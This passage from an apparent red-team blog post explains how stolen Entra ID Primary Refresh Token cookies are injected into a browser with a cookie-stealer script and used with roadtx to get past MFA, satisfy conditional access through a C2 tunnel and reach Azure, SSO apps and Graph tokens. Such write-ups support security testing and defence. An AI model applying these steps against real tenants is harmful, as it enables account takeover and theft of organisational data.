<code>x-ms-RefreshTokenCredential</code> and a <code>x-ms-DeviceCredential</code> for each account. If you obtain more than one token, you&#8217;ll see a <code>x-ms-RefreshTokenCredential</code>, then a <code>x-ms-RefreshTokenCredential1</code>, and so on. The refresh token credential(s) are what we&#8217;ll be leveraging for post-exploitation. The PR also spits out the cookies in a JSON blob as a quality of life improvement for the next section.</p><h1><strong>Using the Browser</strong></h1><p>Each time I&#8217;ve performed this in production, any MFA requirement that was present was already satisfied by the tokens that were returned (more on that in the next section). To demonstrate, if I try to logon to the Azure portal with my test account&#8217;s username and password, I&#8217;m prompted for my MFA method.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!92S7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7a949b-df7e-43e3-84ac-5767bdb5aedf_875x586.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!92S7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7a949b-df7e-43e3-84ac-5767bdb5aedf_875x586.png 424w, https://substackcdn.com/image/fetch/$s_!92S7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7a949b-df7e-43e3-84ac-5767bdb5aedf_875x586.png 848w, https://substackcdn.com/image/fetch/$s_!92S7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7a949b-df7e-43e3-84ac-5767bdb5aedf_875x586.png 1272w, https://substackcdn.com/image/fetch/$s_!92S7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7a949b-df7e-43e3-84ac-5767bdb5aedf_875x586.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!92S7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7a949b-df7e-43e3-84ac-5767bdb5aedf_875x586.png" width="875" height="586" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6a7a949b-df7e-43e3-84ac-5767bdb5aedf_875x586.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:586,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!92S7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7a949b-df7e-43e3-84ac-5767bdb5aedf_875x586.png 424w, https://substackcdn.com/image/fetch/$s_!92S7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7a949b-df7e-43e3-84ac-5767bdb5aedf_875x586.png 848w, https://substackcdn.com/image/fetch/$s_!92S7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7a949b-df7e-43e3-84ac-5767bdb5aedf_875x586.png 1272w, https://substackcdn.com/image/fetch/$s_!92S7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6a7a949b-df7e-43e3-84ac-5767bdb5aedf_875x586.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Pesky MFA Policy</figcaption></figure></div><blockquote><p><em><strong>Note:</strong> We will still need to satisfy all conditional access policies (CAPs) to sign in. At a minimum, this usually involves coming from a trusted IP address. So you&#8217;ll likely need to use Proxifier on Windows (or a similar solution) to tunnel your browser traffic through your C2 agent before it goes back out to Microsoft. That is outside the scope of this blog and will be left up to you.</em></p></blockquote><p>Let&#8217;s inject the refresh token cookies from the <code>aadprt</code> BOF into a browser on our operator VM, confirm that we satisfy the MFA policy for our lab environment, and that we can access resources behind SSO. Lee&#8217;s blog has the steps to do this manually using Chrome&#8217;s developer tools; however, after doing this multiple times per day for multi-week operations, it gets pretty tiresome. My coworker <a href="https://x.com/FKasler">Forrest Kasler</a> has some slick scripts to <a href="https://github.com/fkasler/cuddlephish/blob/main/smooth_criminal.js">steal cookies</a> via the Chrome remote debugger and <a href="https://github.com/fkasler/cuddlephish/blob/main/stealer.js">inject them</a> into a new instance of Chromium. We can throw the JSON blob we received from the <code>aadprt</code> BOF into a file and feed the file into a script from Forrest&#8217;s collection (i.e., <code>stealer.js</code>), which will add the cookies to our browser and open <code>https://login.microsoftonline.com</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Gtok!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d27aac8-a918-45dc-a637-4aacc9781427_875x643.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Gtok!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d27aac8-a918-45dc-a637-4aacc9781427_875x643.png 424w, https://substackcdn.com/image/fetch/$s_!Gtok!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d27aac8-a918-45dc-a637-4aacc9781427_875x643.png 848w, https://substackcdn.com/image/fetch/$s_!Gtok!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d27aac8-a918-45dc-a637-4aacc9781427_875x643.png 1272w, https://substackcdn.com/image/fetch/$s_!Gtok!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d27aac8-a918-45dc-a637-4aacc9781427_875x643.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Gtok!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d27aac8-a918-45dc-a637-4aacc9781427_875x643.png" width="875" height="643" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2d27aac8-a918-45dc-a637-4aacc9781427_875x643.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:643,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Gtok!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d27aac8-a918-45dc-a637-4aacc9781427_875x643.png 424w, https://substackcdn.com/image/fetch/$s_!Gtok!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d27aac8-a918-45dc-a637-4aacc9781427_875x643.png 848w, https://substackcdn.com/image/fetch/$s_!Gtok!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d27aac8-a918-45dc-a637-4aacc9781427_875x643.png 1272w, https://substackcdn.com/image/fetch/$s_!Gtok!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d27aac8-a918-45dc-a637-4aacc9781427_875x643.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Stealer.js Adding the Refresh Token Cookies to Chromium</figcaption></figure></div><p>Now, if I open a new tab and browse to the Azure Portal in this Chromium session, it&#8217;ll briefly redirect to <code>login.microsoftonline.com</code> and then I&#8217;ll be logged into that resource as well without receiving a prompt for MFA.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sYiW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe54a47cf-2c30-45cd-81f9-97b717bf6e15_875x718.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sYiW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe54a47cf-2c30-45cd-81f9-97b717bf6e15_875x718.png 424w, https://substackcdn.com/image/fetch/$s_!sYiW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe54a47cf-2c30-45cd-81f9-97b717bf6e15_875x718.png 848w, https://substackcdn.com/image/fetch/$s_!sYiW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe54a47cf-2c30-45cd-81f9-97b717bf6e15_875x718.png 1272w, https://substackcdn.com/image/fetch/$s_!sYiW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe54a47cf-2c30-45cd-81f9-97b717bf6e15_875x718.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sYiW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe54a47cf-2c30-45cd-81f9-97b717bf6e15_875x718.png" width="875" height="718" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e54a47cf-2c30-45cd-81f9-97b717bf6e15_875x718.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:718,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!sYiW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe54a47cf-2c30-45cd-81f9-97b717bf6e15_875x718.png 424w, https://substackcdn.com/image/fetch/$s_!sYiW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe54a47cf-2c30-45cd-81f9-97b717bf6e15_875x718.png 848w, https://substackcdn.com/image/fetch/$s_!sYiW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe54a47cf-2c30-45cd-81f9-97b717bf6e15_875x718.png 1272w, https://substackcdn.com/image/fetch/$s_!sYiW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe54a47cf-2c30-45cd-81f9-97b717bf6e15_875x718.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Azure Portal Access</figcaption></figure></div><p>We can leverage this same workflow to access Microsoft cloud services and apps (e.g., Azure, Teams, SharePoint, etc.) but we can also authenticate to third-party apps configured to leverage SSO. Common examples include applications such as Confluence and Jira, ServiceNow (which MDSec recently <a href="https://www.mdsec.co.uk/2025/03/red-teaming-with-servicenow/">blogged</a> about the usefulness of), CyberArk, and even custom internal apps configured to use SSO. When I first realized this, I was curious how to enumerate other third-party services the target tenant tied into SSO. Outside of downloading and reviewing browser history databases, one way is to check for app registrations in Azure. We can do this graphically in the Azure portal, or use ROADrecon data (more on this in a moment) to identify services in its &#8220;Applications&#8221; pane that contain &#8220;Reply URLs.&#8221; Here&#8217;s an example of the app registration data that was collected for a tenant&#8217;s confluence app.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PxdT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3af2206-8033-459b-8cec-7e06bfdabf18_771x353.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PxdT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3af2206-8033-459b-8cec-7e06bfdabf18_771x353.png 424w, https://substackcdn.com/image/fetch/$s_!PxdT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3af2206-8033-459b-8cec-7e06bfdabf18_771x353.png 848w, https://substackcdn.com/image/fetch/$s_!PxdT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3af2206-8033-459b-8cec-7e06bfdabf18_771x353.png 1272w, https://substackcdn.com/image/fetch/$s_!PxdT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3af2206-8033-459b-8cec-7e06bfdabf18_771x353.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PxdT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3af2206-8033-459b-8cec-7e06bfdabf18_771x353.png" width="771" height="353" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e3af2206-8033-459b-8cec-7e06bfdabf18_771x353.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:353,&quot;width&quot;:771,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!PxdT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3af2206-8033-459b-8cec-7e06bfdabf18_771x353.png 424w, https://substackcdn.com/image/fetch/$s_!PxdT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3af2206-8033-459b-8cec-7e06bfdabf18_771x353.png 848w, https://substackcdn.com/image/fetch/$s_!PxdT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3af2206-8033-459b-8cec-7e06bfdabf18_771x353.png 1272w, https://substackcdn.com/image/fetch/$s_!PxdT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe3af2206-8033-459b-8cec-7e06bfdabf18_771x353.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">ROADrecon Applications Pane</figcaption></figure></div><p>If we navigate to the reply URL in our browser while we have a valid refresh token cookie, we&#8217;ll satisfy the SSO requirement and we&#8217;ll be logged in (provided that the user we have a token for is granted access to that application).</p><h1><strong>Using [Your Favorite Entra ID/Azure Post-Ex Toolkit]</strong></h1><p>We can also leverage the refresh token to request access tokens for the Graph API, or other resources, for usage with Azure post-exploitation toolkits like <a href="https://github.com/dirkjanm/ROADtools">ROADrecon</a>, <a href="https://github.com/rvrsh3ll/TokenTactics">TokenTactics</a>, <a href="https://github.com/dafthack/GraphRunner">GraphRunner</a>, <a href="https://github.com/Flangvik/TeamFiltration">TeamFiltration</a>, <a href="https://github.com/NetSPI/MicroBurst">MicroBurst</a>, <a href="https://github.com/xforcered/ADOKit">ADOKit</a>, and more.</p><p>I prefer to use <code>roadtx</code> for token manipulation. If we take a token from the <code>aadprt</code><em> </em>BOF output and use the <code>roadtx auth</code> module, we can request access tokens by passing our refresh token cookie in via the <code>--prt-cookie</code> argument. That will get a token for the older Azure AD Graph by default, but other resources can be specified with the <code>-r/--resource</code> flag.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KLE3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8225f95-7b94-401d-a96e-6399274441f7_875x266.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KLE3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8225f95-7b94-401d-a96e-6399274441f7_875x266.png 424w, https://substackcdn.com/image/fetch/$s_!KLE3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8225f95-7b94-401d-a96e-6399274441f7_875x266.png 848w, https://substackcdn.com/image/fetch/$s_!KLE3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8225f95-7b94-401d-a96e-6399274441f7_875x266.png 1272w, https://substackcdn.com/image/fetch/$s_!KLE3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8225f95-7b94-401d-a96e-6399274441f7_875x266.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KLE3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8225f95-7b94-401d-a96e-6399274441f7_875x266.png" width="875" height="266" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c8225f95-7b94-401d-a96e-6399274441f7_875x266.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:266,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!KLE3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8225f95-7b94-401d-a96e-6399274441f7_875x266.png 424w, https://substackcdn.com/image/fetch/$s_!KLE3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8225f95-7b94-401d-a96e-6399274441f7_875x266.png 848w, https://substackcdn.com/image/fetch/$s_!KLE3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8225f95-7b94-401d-a96e-6399274441f7_875x266.png 1272w, https://substackcdn.com/image/fetch/$s_!KLE3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8225f95-7b94-401d-a96e-6399274441f7_875x266.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Access Token Request Using Our PRT Cookie</figcaption></figure></div><p>Now we have a Azure AD Graph access token that we could use to perform a ROADrecon data collection with.</p><p>Dirk-jan makes a point in his <a href="https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/">blog</a> that I think is worth repeating &#8212; refresh tokens and access tokens that are requested via a PRT cookie will inherit the same claims that the original PRT cookie had. So if the PRT cookie contained the MFA claim and a device ID (since we originally obtained it on a device joined host), our access tokens will too. This is why we can continue to satisfy CAPs that require MFA or usage of a joined device.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" 